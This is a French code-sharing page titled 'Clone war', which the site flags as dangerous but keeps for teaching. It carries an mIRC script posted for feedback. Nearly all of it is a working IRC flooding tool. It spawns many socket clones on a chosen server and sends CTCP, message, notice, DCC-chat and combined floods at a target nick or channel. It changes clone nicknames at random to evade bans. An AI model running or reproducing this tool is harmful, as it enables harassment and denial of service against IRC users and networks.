Clone war

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

ben c cool mais j pense y a des trucs a modifier

Source / Exemple : 


alias death {
  set %CServer $$?="Sur quel  serveur (irc.chat-central.com)?"
  set %Ccount $$?="Combien de clones (1)?"
  set %Cport $$?="Sur quel Port?(6667)"
  clone %ccount %cserver %cport
}
alias c.echo { echo -a [4****] $1- }
alias r.echo { aline @clonehelp [4****] $1- }
alias rhelp {
  window @clonehelp
  r.echo 3--------------------------------------------------------------------------
  r.echo 2Clones d'assault
  r.echo 3--------------------------------------------------------------------------
  r.echo 2Les commandes sont ci-dessous (en anglais, je sais )
  r.echo 3--------------------------------------------------------------------------
  r.echo 2/clone [num] <server> [port]
  r.echo 2for example /clone 5 irc.chat-central.com 6667
  r.echo 2this will make 5 clones on irc.chat-central.com port 6667
  r.echo 2the following are commands you may use in the @clone window:
  r.echo 2/quit /msg /ctcp /join /part /notice
  r.echo 2if you want to kill some of your clones type /die [num]
  r.echo 2example: lets say you want to kill 3 clones you type /die 3
  r.echo 3--------------------------------------------------------------------------
  r.echo 2we will not be held responsible if you get K-Lined 
  r.echo 2and also have fun cloning......
  r.echo 2clones are not always reliable,sometimes
  r.echo 2they connect then lose their connection
  r.echo 3--------------------------------------------------------------------------
  r.echo 2the clones nickname will be [A]then random a-z
  r.echo 2if you want to use this in your script just please
  r.echo 2give us some credit............
  r.echo 3--------------------------------------------------------------------------
}
alias clone {
  if ($1 == $null) { echo 15 -a * /clone: type /rhelp to find out the commands | return }
  if ($window(@clone) == $null) { window -e @clone 100 400 500 300 @clone | titlebar @clone (rebellion)(clonestatus) | /aline @clone %ver Clic droit pour les options | /inc %ccount | /clonewindow }
  unset %c.server %c.port %ccount
  if ($1 isnum) { %c.count = $1 | %c.server = $2 | %c.port = $3 }
  else { %c.count = 1 | %c.server = $1 | %c.port = $2 }
  %c.inc = 0 | :start | inc %c.inc | if (%c.inc > %c.count) { return } | %c.sock = clone $+ $r(1,1000)
  :loop | if ($sock(%c.sock).name) { %c.sock = clone $+ $r(1,1000) | goto loop }
  if (%c.port) { sockopen %c.sock %c.server %c.port }
  else { %c.port = 6667 | sockopen %c.sock %c.server 6667 }
  goto start
}
on 1:CLOSE:@clone:/unset %ccount | /c.echo Don't Forget to use This machine later...
menu @clone {
  Aide:/rhelp
  -
  Flood
  .Clone auto toute les 25 sec:/timer10 5 20 /clone 1 %cserver %cport 
  .Plus de clones:/clone $$?="How many more?" %cserver %cport 
  .-
  .CTCP FLOOD:/ctcpflood1 $$?="nick/chan to flood" | /rline @cloners 4  [Status Clones]: CTCP flooding $!
  .MSG FLOOD:/msgflood1 $$?="nick/chan to flood" | /rline @cloners 4  [Status Clones]: Msg Flooding $!
  .KOMBO FLOOD!:/komboflood1 $$?="nick/chan to flood:" | /rline @cloners 4  [Status Clones]: KOMBO flooding $!
  .Dcc Chat Flood!:/chattest $$?="nick/chan to flood:" | /rline @cloners 4 [Status Clones]: DCC chat flooding $!
  -
  Controles
  .Joindre un channel:/sockwrite -n clone* join $$?="What channel?" 
  .Quitter un channel:/sockwrite -n clone* part $$?="What channel to Part(leave)"
  .-
  .Déconnecter tous les clones:/unset %ccount | /sockwrite -n clone* quit Leaving! 
  .Déconnecter tous les clones avec msg:/sockwrite -n clone* quit : $$?="What will be your death MSG?"
  .-
  .Msg nick avec tous les clones:/sockwrite -n clone* privmsg $$?="Who to MSG" : $$?="What msg?"
  .Msg channel avec tous les clones:/sockwrite -n clone* privmsg $$?="What Channel" : $$?="What msg?"
} 
alias clonewindow {
  window -a @Cloners 200 5 270 170 @cloners
  aline @Cloners 4Assault Clones Status 
  aline @Cloners 4=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  aline @Cloners [Clones loaded]: %ccount
  aline @Cloners [Status Clones]: (idle)
  aline @Cloners 4=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  aline @Cloners Clones connecting to server
}
on 1:sockopen:clone*: {
  inc %ccount | /rline @cloners 3 [Clones loaded]: %ccount 
  /rline @cloners 5 Clones Connected to Server
  aline -h @clone $sockname connected to %c.server ( $+ %c.port $+ ) 
  sockwrite -n $sockname user r r r  :blah
  sockwrite -n $sockname nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)

}
on 1:sockclose:clone*: { aline -h @clone $sockname disconnected | dec %ccount | /rline @cloners 4 [Status Clones]: $sockname disconnected | /rline @cloners 3 [Clones loaded]: %ccount }
on 1:sockread:clone*:{
  if ($sockerr > 0) { return }
  :loop | sockread %tmp
  if ($sockbr == 0) { return } 
  if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
  goto loop
}

on 1:input:@clone:{
  if ($left($1,1) != /) { sockwrite -n clone* privmsg %c.last.join : $+ $1- | aline -h @clone msging %c.last.join with: $1- | halt }
  if ($2 == $null) { aline -h @clone * $1 $+ : Insufficient parameters | halt }
  if ($1 == /join) { %c.last.join = $2 | sockwrite -n clone* join $2- | aline -h @clone Joining $2- | halt  }
  if ($1 == /part) { sockwrite -n clone* part $2- | aline -h @clone Parting $2- | halt }
  if ($1 == /msg) { if ($3 == $null) { aline -h @clone * /msg: Insufficient parameters | halt } | sockwrite -n clone* privmsg $2 : $+ $3- | aline -h @clone Msging $2 with: $3- | halt }
  if ($1 == /notice) { if ($3 == $null) { aline -h @clone * /notice: Insufficient parameters | halt } | sockwrite -n clone* notice $2 : $+ $3- | aline -h @clone Noticing $2 with: $3- | halt }
  if ($1 == /ctcp) { if ($3 == $null) { aline -h @clone * /ctcp: Insufficient parameters | halt } | sockwrite -n clone* privmsg $2 : $+ $chr(1) $+ $3- $+ $chr(1) | aline -h @clone Ctcping $2 with: $3- | halt }
  if ($1 == /quit) { sockwrite -n clone* quit : $+ $2- | aline -h @clone Now quiting with msg: $2- | halt }
  if ($1 == /kill) { sockclose clone* [ $+ [ $2 ] ] | dec %c.count | aline -h @clone Killed clone $2 | halt }
  if ($1 == /noticeflood) { if ($2 == $null) { aline -h @clone **** /notice: Insufficient parameters | halt } | sockwrite -n clone* notice $2 : -------------------------------------------------------------------------------------------------- %vername ------------------ %vername --------------------------------------------------- %vername --------------- %vername ---------------- %vername --------------------- %vername ------------------------- %tsunami ----------------------------------------------------------------------------------------------------------  }
  if ($1 == /komboflood) { if ($2 == $null) { aline -h @clone **** /komboflood: Insufficient parameters | halt } |  c.echo KOMBO FLOODING $2  | /komboflood1 $2  }
  if ($1 == /clone) { if ($2 == $null) { aline -h @clone **** /clone: Insufficient parameters | halt } | c.echo loading clones | /clone $1 $2 $3 }
  aline -h @clone No such command $1 | halt
}
alias /komboflood1 {
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  /timer285 3 2  sockwrite -n clone* notice $$1 : %vername  %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername
  /timer287 3 2 sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) | sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  /timer289 3 2  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)

}
alias /chattest  {
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* nick [r] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
}
alias /msgflood1 {
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer125 2 2 sockwrite -n clone* privmsg $$1 : %screen
  timer444 2 4  sockwrite -n clone* privmsg $$1 : %screen
  timer555 2 5 sockwrite -n clone* privmsg $$1 : %vername %vername %vername %vername
  timer888 2 6 sockwrite -n clone* privmsg $$1 : %screen
  timer1123 2 8  sockwrite -n clone* privmsg $$1 : %screen
  timer1231 2 9  sockwrite -n clone* privmsg $$1 : %vername %vername %vername %vername

}

alias /ctcpflood1 {
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer346 1 9 /ctcpflood2 $$1
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
}
alias ctcpflood2 {
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
}
alias /noticeflood1 {
  timer342 2 2 /sockwrite -n clone* notice $$1 : 0,1-------------------------------------------------------------------------------------------------- %vername ------------------ %vername --------------------------------------------------- %vername --------------- %vername ---------------- %vername --------------------- %vername ------------------------- %tsunami ---------------------------------------------------------------------------------------------------------- 
  timer343 2 4  /sockwrite -n clone* notice $$1 : %screen
  sockwrite -n clone* nick [A] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer346 2 5  /sockwrite -n clone* notice $$1 : %screen
  timer347 2 6 /sockwrite -n clone* notice $$1 : %screen

Conclusion :


bne dit moi les trucs a modifier car ma source n est po o point et si vous la mettiez ds vos remote pour l activer fo taper /clone <serveur> <nombre de clone > 6667 selon votre port utiliser

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.